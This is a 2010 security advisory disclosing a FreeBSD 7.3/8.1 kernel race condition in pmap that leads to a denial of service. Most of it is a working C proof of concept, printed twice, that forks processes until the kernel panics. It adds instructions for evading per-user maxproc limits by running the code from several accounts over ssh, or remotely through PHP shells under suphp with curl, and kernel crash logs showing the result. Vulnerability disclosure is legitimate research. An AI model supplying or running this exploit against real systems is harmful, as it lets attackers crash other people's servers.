扫码分享
验证：
体验盒子|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 |
-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 [ FreeBSD 8.1/7.3 vm.pmap kernel local race condition] Author: Maksymilian Arciemowicz http://SecurityReason.com http://lu.cxib.net Date: - - Dis.: 09.07.2010 - - Pub.: 07.09.2010 Affected Software (verified): - - FreeBSD 7.3/8.1 Original URL: http://securityreason.com/achievement_securityalert/88 - --- 0.Description --- maxproc This is the maximum number of processes a user may be running. This includes foreground and background processes alike. For obvious reasons, this may not be larger than the system limit specified by the kern.maxproc sysctl(8). Also note that setting this too small may hinder a user's productivity: it is often useful to be logged in multiple times or execute pipelines. Some tasks, such as compiling a large program, also spawn multiple processes (e.g., make(1), cc(1), and other intermediate preprocessors). vm.pmap.shpgperproc - --- 1. FreeBSD 8.1/7.3 kernel local race condition --- Race condition in pmap, allows attackers to denial of service freebsd kernel. Creating a lot of process by fork() (~ kern.maxproc), it's possible to denial kernel. To bypass the MAXPROC from login.conf, we can use a few users to run PoC in this same time, to reach kern.maxproc. suphp can be very usefully. We need choose vector attack. When we have access to few users via ssh, use openssh. Example attack by ssh POC: /* FreeBSD 7.3/8.1 pmap race condition PoC Credit: Maksymilian Arciemowicz */ #include <stdio.h> #include <sys/types.h> #include <unistd.h> void newproc(){ again: fork(); sleep(3600*24); goto again; } void runfork(){ pid_t adr; if(0!=(adr=fork())) printf("fork not zero\n"); else { printf("fork zero\n"); newproc(); } } int main(){ int secdel=5; int dev; // clock with (int)secdel secound frequency while(1){ printf("sleep %i sec\n",secdel); sleep(secdel); printf("weak up\n"); // create 512 processes dev=512; while(dev--) runfork(); } return 0; } 127# ssh cx () 0 Password: $ gcc -o poc81 poc81.c $ ./poc81 and in the same time (symetric) 127# ssh max () 0 Password: $ gcc -o poc81 poc81.c $ ./poc81 Result: Jul 29 08:41:29 127 kernel: maxproc limit exceeded by uid 1002, please see tuning(7) and login.conf(5). Jul 29 08:42:01 127 last message repeated 31 times Jul 29 08:44:02 127 last message repeated 119 times Jul 29 08:50:27 127 syslogd: kernel boot file is /boot/kernel/kernel Jul 29 08:50:27 127 kernel: maxproc limit exceeded by uid 0, please see tuning(7) and login.conf(5). Jul 29 08:50:27 127 kernel: panic: get_pv_entry: increase vm.pmap.shpgperproc Jul 29 08:50:27 127 kernel: cpuid = 0 Jul 29 08:50:27 127 kernel: Uptime: 13m23s Jul 29 08:50:27 127 kernel: Cannot dump. Device not defined or unavailable. Jul 29 08:50:27 127 kernel: Automatic reboot in 15 seconds - press a key on the console to abort Jul 29 08:50:27 127 kernel: --> Press a key on the console to reboot, Jul 29 08:50:27 127 kernel: --> or switch off the system now. Jul 29 08:50:27 127 kernel: Rebooting... Jul 29 08:50:27 127 kernel: Copyright (c) 1992-2010 The FreeBSD Project. But when we have php-shell from several uid`s, we can also use suphp. Example attack by suphp: 127# cat cxuser.php <?php system("./def"); ?> 127# ls -la total 16 drwxr-xr-x2 rootwheel 512 Jul 29 08:43 . drwxr-xr-x4 rootwheel 512 Jul 29 08:38 .. - -rw-r--r--1 cxcx 27 Jul 29 08:38 cxuser.php - -rwxr-xr-x1 cxcx 7220 Jul 29 08:38 def - -rw-r--r--1 max max27 Jul 29 08:43 maxuser.php now remote request to cxuser.php and maxuser.php curl http://victim/hack/cxuser.php and in the same time curl http://victim/hack/maxuser.php result: Jul 29 08:43:07 localhost login: ROOT LOGIN (root) ON ttyv0 Jul 29 08:48:30 localhost syslogd: kernel boot file is /boot/kernel/kernel Jul 29 08:48:30 localhost kernel: maxproc limit exceeded by uid 1001, please see tuning(7) and login.conf(5). Jul 29 08:48:30 localhost kernel: panic: get_pv_entry: increase vm.pmap.shpgperproc Jul 29 08:48:30 localhost kernel: cpuid = 0 Jul 29 08:48:30 localhost kernel: Uptime: 4m43s Jul 29 08:48:30 localhost kernel: Jul 29 08:48:30 localhost kernel: Dump failed. Partition too small. Jul 29 08:48:30 localhost kernel: Automatic reboot in 15 seconds - press a key on the console to abort Jul 29 08:48:30 localhost kernel: Rebooting... Jul 29 08:48:30 localhost kernel: Copyright (c) 1992-2010 The FreeBSD Project. - ---debug log - cron (uid=0)--- ... maxproc limit exceeded by uid 1002, please see tuning(7) and login.conf(5). maxproc limit exceeded by uid 1001, please see tuning(7) and login.conf(5). maxproc limit exceeded by uid 1001, please see tuning(7) and login.conf(5). maxproc limit exceeded by uid 1002, please see tuning(7) and login.conf(5). panic: get_pv_entry: increase vm.pmap.shpgperproc cpuid = 0 KDB: enter: panic [ thread pid 7417 tid 106207 ] Stopped at kdb_enter+0x3a: movl $0,kdb_why ... KDB: enter: panic [ thread pid 7417 tid 106207 ] Stopped at kdb_enter+0x3a: movl $0,kdb_why db> ps pid ppid pgrp uid state wmesg wchan cmd 7417 880 880 0 RL CPU 0 cron 7416 880 880 0 RL cron 7415 7413 880 0 RVL cron 7414 7412 7412 0 R sh 7413 880 880 0 D ppwait 0xc8118548 cron 7412 7411 7412 0 Ss wait 0xc8118aa0 sh 7411 880 880 0 S piperd 0xc4d7eab8 cron 7410 5367 1294 1001 RL+ def 7409 5366 1294 1001 RL+ def 7408 5365 1294 1001 RL+ def 7407 5364 1294 1001 RL+ def 7406 5363 1294 1001 RL+ def 7405 5362 1294 1001 RL+ def 7404 5361 1294 1001 RL+ def ... db> trace Tracing pid 7417 tid 106207 td 0xc8113280 kdb_enter(c0ccfb5c,c0ccfb5c,c0d0a037,e7f9da38,0,...) at kdb_enter+0x3a panic(c0d0a037,10,c0d09b5f,88c,0,...) at panic+0x136 get_pv_entry(c80bcce0,0,c0d09b5f,ccd,c0fabd00,...) at get_pv entry+0x252 pmap_enter(c80bcce0,a0f7000,1,c2478138,5,...) at pmap_enter+0x34c vm_fault(c8Obcc30,a0f7000,1,0,a0f711b,...) at vm_fault+0x1b02 trap_pfault(5,0,c0dOblle,c0cd1707,c8118550,...) at trap_pfault+0xl0d trap(e7f9dd28) at trap+0x2d0 calltrap() at calltrap+0x6 - --- trap 0xc, eip = 0xa0f711b, esp = 0xbfbfec8c, ebp = 0xbfbfecc8 -- db> show pcpu cpuid = 0 dynamic pcpu = 0x627d00 curthread = 0xc8113280: pid 7417 "cron" curpcb = 0xe7f9dd80 fpcurthread = none idlethread = 0xc4183a00: tid 100003 "idle: cpu0" APIC ID = 0 currentldt = 0x50 spin locks held: ... db> show registers cs 0x20 ds 0xc0cc0028 es 0xc0d00028 fs 0xc08f0008 free_unr+0x188 ss 0x28 eax 0xc0ccfb5c ecx 0xc148792f edx 0 ebx 0xl esp 0xe7f9d9f8 ebp 0xe7f9da00 esi 0x100 edi 0xc8113280 eip 0xc08de44a kdb_enter+0x3a efl 0x286 kdb_enter+0x3a: movl $0,kdb_why ... db> show page cnt.v_free_count: 104827 cnt.v_cache_count: 11 cnt.v_inactive_count: 3369 cnt.v_active_count: 44397 cnt.v_wire_count: 58250 cnt.v_free_reserved: 324 cnt.v_free_min: 1377 cnt.v_free_target: 5832 cnt.v_cache_min: 5832 cnt.v_inactive_target: 8748 ... - ---debug log - crash in cron (uid=0)--- - ---debug log - crash in def (uid=1001)--- db> ps ... 6774 4777 2009 1001 RL+ def 6773 4777 2009 1001 RL+ CPU 0 def 6772 4777 2009 1001 RL+ def ... db> show pcpu cpuid = 0 dynamic pcpu = 0x627d00 curthread = Oxc8c34c80: pid 6773 "def" curpcb = Oxe97f6d80 fpcurthread = none idlethread = 0xc4183a00: tid 100003 "idle: cpu0" APIC ID = 0 currentldt = 0x50 spin locks held: ... - ---debug log - crash in def (uid=1001)--- - --- 2. PoC def2.c --- /* FreeBSD 7.3/8.1 pmap race condition PoC Credit: Maksymilian Arciemowicz */ #include <stdio.h> #include <sys/types.h> #include <unistd.h> void newproc(){ again: fork(); sleep(3600*24); goto again; } void runfork(){ pid_t adr; if(0!=(adr=fork())) printf("fork not zero\n"); else { printf("fork zero\n"); newproc(); } } int main(){ int secdel=5; int dev; // clock with (int)secdel secound frequency while(1){ printf("sleep %i sec\n",secdel); sleep(secdel); printf("weak up\n"); // create 512 processes dev=512; while(dev--) runfork(); } return 0; } - --- 3. Greets --- sp3x, Infospec, Adam Zabrocki 'pi3' - --- 4. Contact --- Author: SecurityReason.com [ Maksymilian Arciemowicz ] Email: - - cxib {a\./t] securityreason [d=t} com GPG: - - http://securityreason.com/key/Arciemowicz.Maksymilian.gpg http://securityreason.com/ http://lu.cxib.net/ - -- Best Regards, - ------------------------ pub 1024D/A6986BD6 2008-08-22 uidMaksymilian Arciemowicz (cxib) <cxib () securityreason com> sub 4096g/0889FA9A 2008-08-22 http://securityreason.com http://securityreason.com/key/Arciemowicz.Maksymilian.gpg -----BEGIN PGP SIGNATURE----- iEYEARECAAYFAkyGff0ACgkQpiCeOKaYa9b0QQCfbY7yNcbUa7TDOTYxzgN7ya0y yQMAn079PHiu7Uy5WU3gvsJnvzZ0M8qO =D5mh -----END PGP SIGNATURE----- |
体验盒子
